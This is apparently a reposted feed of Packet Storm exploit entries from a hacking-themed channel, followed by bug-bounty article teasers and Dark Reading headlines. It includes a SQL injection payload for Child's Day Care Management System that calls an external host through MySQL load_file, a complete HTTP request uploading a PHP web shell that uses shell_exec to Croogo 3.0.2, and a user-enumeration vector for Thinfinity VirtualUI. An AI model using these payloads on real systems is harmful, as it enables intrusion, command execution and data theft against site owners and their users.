Exploit Collector
Child's Day Care Management System 1.0 SQL Injection

https://1.bp.blogspot.com/-HfAgGXf1DOw/WWlvbMysVAI/AAAAAAAAIPI/FubFag34U7YDsw4ZG5KiakYQR-P9HSuiwCLcBGAs/s1600/h72.png
Child's Day Care Management System version 1.0 appears to be susceptible to a remote SQL injection vulnerability.

MD5 | fa3f0657f3722f253f892bffac4207e5

Download
## Title: Child's Day Care Management System 1.0 SQL - Injection
## Author: nu11secur1ty
## Date: 12.16.2021
## Vendor: https://www.sourcecodester.com/users/tips23
## Software: https://www.sourcecodester.com/php/15085/childs-day-care-management-system-phpoop-free-source-code.html
## Description:
The `username` in Login.php app, parameter from Child's Day Care
Management System 1.0 appears to be vulnerable to SQL injection
attacks.
The payload '+(select
load_file('\\\\3ostdw78suah84gyykzz1k9b92fv3lrcu0mncb1.nu11secur1ty.net\\ztd'))+'
was submitted in the username parameter.
This payload injects a SQL sub-query that calls MySQL's load_file
function with a UNC file path that references a URL on an external
domain.
The application interacted with that domain, indicating that the
injected SQL query was executed. Also, this system is vulnerable to
SQL-Injection-Bypass-Authentication
and XSS-Stored attacks. The attacker can be receiving all information
from the system by using these vulnerabilities! Status: CRITICAL

[+] Payload:

```mysql
---
Parameter: username (POST)
Type: time-based blind
Title: MySQL >= 5.0.12 AND time-based blind (query SLEEP)
Payload: username=zCAMOHlX'+(select
load_file('\\\\3ostdw78suah84gyykzz1k9b92fv3lrcu0mncb1.nu11secur1ty.net\\ztd'))+''
AND (SELECT 1400 FROM (SELECT(SLEEP(5)))NgMD) AND
'wBYn'='wBYn&password=a6O!j4g!Z5
---

```

## Reproduce:
[href](https://github.com/nu11secur1ty/CVE-nu11secur1ty/tree/main/vendors/oretnom23/Child's-Day-Care-Management-System)

## Proof and Exploit:
[href](https://streamable.com/tvbuoi)
--
System Administrator - Infrastructure Engineer
Penetration Testing Engineer
Exploit developer at https://packetstormsecurity.com/
https://cve.mitre.org/index.html and https://www.exploit-db.com/
home page: https://www.nu11secur1ty.com/
hiPEnIMR0v7QCo/+SEH9gBclAAYWGnPoBIQ75sCj60E=
nu11secur1ty
Source:packetstormsecurity.com

___________________________
@hacking_Attack
@Hacking_Video

Exploit Collector
CurveBall Windows CryptoAPI Spoofing

https://1.bp.blogspot.com/-5_4vnaEHtE4/WWlvOudg9oI/AAAAAAAAIMs/tPLG-GePmxgLMlPyiIuDfO-2MFfOtdhKQCLcBGAs/s1600/h26.png
Whitepaper titled CurveBall Windows CryptoAPI Spoofing that discusses the CVE-2021-0601 vulnerability.

MD5 | 2ebfb3c08e2253e44c300eb86112139f

Download
Source:packetstormsecurity.com

___________________________
@hacking_Attack
@Hacking_Video

Exploit Collector
Croogo 3.0.2 Cross Site Scripting

___________________________
@hacking_Attack
@Hacking_Video

Exploit Collector
Croogo 3.0.2 Shell Upload

https://4.bp.blogspot.com/-Lnl-ZxRP9Iw/WWlvEVwqA2I/AAAAAAAAIK8/WG2BCM3S_lsUOouuCwhP5sp3j7hYzeO-wCLcBGAs/s1600/h133.png
Croogo version 3.0.2 suffers from a remote shell upload vulnerability.

MD5 | 83ce95d2cea55795cd0b019b4a3bff21

Download
# Exploit Title: Croogo 3.0.2 - Unrestricted File Upload
# Date: 06/12/2021
# Exploit Author: Enes Özeser
# Vendor Homepage: https://croogo.org/
# Software Link: https://downloads.croogo.org/v3.0.2.zip
# Version: 3.0.2
# Tested on: Windows 10 Home Single Language 20H2 & WampServer 3.2.3

==> 'setting-43' Unrestricted File Upload

1- Login with your privileged account.
2- Click on the 'Settings' section.
3- Go to the 'Themes'. Directory is '/admin/settings/settings/prefix/Theme'
4- Choose a malicious php script and upload it.
5- Go to the '/uploads/(NAME).php' directory. You must change 'NAME' parameter with your filename you uploaded.
6- The malicious PHP script will be executed.

POST /admin/settings/settings/prefix/Theme HTTP/1.1
Host: (HOST)
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:94.0) Gecko/20100101 Firefox/94.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: tr-TR,tr;q=0.8,en-US;q=0.5,en;q=0.3
Accept-Encoding: gzip, deflate
Content-Type: multipart/form-data; boundary=---------------------------360738881613175158033315978127
Content-Length: 970
Origin: http://(HOST)
Connection: close
Referer: http://(HOST)/admin/settings/settings/prefix/Theme
Cookie: csrfToken=c49348b47c99523135d42caefb6da7148946a8d049dc40e4763b8acb570b77d6d9353ee2be724c716679c9d6f7006a0545dbe68fe77bd8e3019994bef968a67a; CAKEPHP=ba820s2lf013a07a2mhg5hccup
Upgrade-Insecure-Requests: 1
Sec-Fetch-Dest: document
Sec-Fetch-Mode: navigate
Sec-Fetch-Site: same-origin
Sec-Fetch-User: ?1

-----------------------------360738881613175158033315978127
Content-Disposition: form-data; name="_method"

POST
-----------------------------360738881613175158033315978127
Content-Disposition: form-data; name="_csrfToken"

c49348b47c99523135d42caefb6da7148946a8d049dc40e4763b8acb570b77d6d9353ee2be724c716679c9d6f7006a0545dbe68fe77bd8e3019994bef968a67a
-----------------------------360738881613175158033315978127
Content-Disposition: form-data; name="setting-43"; filename="malicious.php"
Content-Type: application/octet-stream
$command = shell_exec('netstat -an');
echo "$command";
?>

-----------------------------360738881613175158033315978127
Content-Disposition: form-data; name="_Token[fields]"

c4e0a45b25b5eaf8fa6e0e4ddcd3be00c621b803%3A
-----------------------------360738881613175158033315978127
Content-Disposition: form-data; name="_Token[unlocked]"
-----------------------------360738881613175158033315978127--


Source:packetstormsecurity.com

___________________________
@hacking_Attack
@Hacking_Video

Exploit Collector
Cibele Thinfinity VirtualUI 2.5.41.0 User Enumeration

https://2.bp.blogspot.com/-y5QhCp_hFKM/WWlvahEOH0I/AAAAAAAAIPA/Q0VQ49Z0hVw4skegRDdSXm3Bk15Ptyg5wCLcBGAs/s1600/h70.png
Cibele Thinfinity VirtualUI version 2.5.41.0 suffers from a user enumeration vulnerability.

MD5 | 075e1c749825a41f790a7703ee3dc388

Download
# Exploit Title: Cibele Thinfinity VirtualUI 2.5.41.0 - User Enumeration
# Date: 13/12/2021
# Exploit Author: Daniel Morales, IT Security Team - ARHS Spikeseed
# Vendor Homepage: https://www.cybelesoft.com
# Software Link: https://www.cybelesoft.com/thinfinity/virtualui/
# Version: vulnerable < v3.0
# Tested on: Microsoft Windows
# CVE: CVE-2021-44848

How it works: By accessing the vector, an attacker can determine if a username exists thanks to the message returned; it can be presented in different languages according to the configuration of VirtualUI. Common users are administrator, admin, guest...
Payload: The vulnerable vector is "https://example.com/changePassword?username=USERNAME" where "USERNAME" need to be brute-forced.
Reference: https://github.com/cybelesoft/virtualui/issues/1


Source:packetstormsecurity.com

___________________________
@hacking_Attack
@Hacking_Video

Exploit Collector
Chrome blink::NativeIOFile::DoRead Heap Use-After-Free

https://1.bp.blogspot.com/-9u0QXe9ybeo/WWlvU_DnejI/AAAAAAAAIN0/BUl-HrIsuwE3sKywG67Nuv_wLRABID6oQCLcBGAs/s1600/h45.png
Chrome suffers from a heap use-after-free vulnerability in blink::NativeIOFile::DoRead.

MD5 | e51b3f4d20f95cd97c31e2cfc01a4df7

Download
Source:packetstormsecurity.com

___________________________
@hacking_Attack
@Hacking_Video

Exploit Collector
Chrome ThreadedIconLoader::DecodeAndResizeImageOnBackgroundThread Heap Use-After-Free

https://3.bp.blogspot.com/-sRAbWielMtM/WWlvVvmDA-I/AAAAAAAAIN8/PunzJUFKKskcHl_zTOrA6xP6ETTvhbejQCLcBGAs/s1600/h46.png
Chrome suffers from a heap use-after-free vulnerability in ThreadedIconLoader::DecodeAndResizeImageOnBackgroundThread.

MD5 | 970ce6283c7d9f02e474b4ef93003566

Download
Source:packetstormsecurity.com

___________________________
@hacking_Attack
@Hacking_Video

Exploit Collector
Chrome NavigationPreloadRequest Site Isolation Bypass

https://4.bp.blogspot.com/-Nd-X_KvCLtU/WWlu3jy7alI/AAAAAAAAIIw/wd38Z8AjxRAJh0AdUZMKadOiqPJQRSLMgCLcBGAs/s1600/h101.png
Chrome suffers from a site isolation bypass vulnerability in NavigationPreloadRequest.

MD5 | 79cec0e9bbab06da069bc3e1a41127e4

Download
Source:packetstormsecurity.com

___________________________
@hacking_Attack
@Hacking_Video

HTTP VERB TAMPERING:
https://haxor8595.medium.com/http-verb-tampering-ec69d91c7d5b?source=rss------bug_bounty-5

___________________________
@hacking_Attack
@Hacking_Video

HTTP Verb Altering is an assault that misuses vulnerabilities in HTTP verb (too known as HTTP strategy) verification and gets to control…Continue reading on Medium » (https://haxor8595.medium.com/http-verb-tampering-ec69d91c7d5b?source=rss------bug_bounty-5)

___________________________
@hacking_Attack
@Hacking_Video

User Enumeration- Forgot Password #VDP
https://haxor8595.medium.com/user-enumeration-forgot-password-vdp-1f073875634e?source=rss------bug_bounty-5

User Enumeration:Continue reading on Medium » (https://haxor8595.medium.com/user-enumeration-forgot-password-vdp-1f073875634e?source=rss------bug_bounty-5)

___________________________
@hacking_Attack
@Hacking_Video

Dark Reading: Attacks/Breaches
Dear Congress: It's Complicated. Please Consider This When Crafting New Cybersecurity Legislation

As mandatory reporting bills work their way through the halls of Congress, what should businesses do to prepare for this pending legislation?

Dark Reading: Attacks/Breaches
Log4Shell: The Big Picture

A look at why this is such a tricky vulnerability and why the industry response has been good, but not great.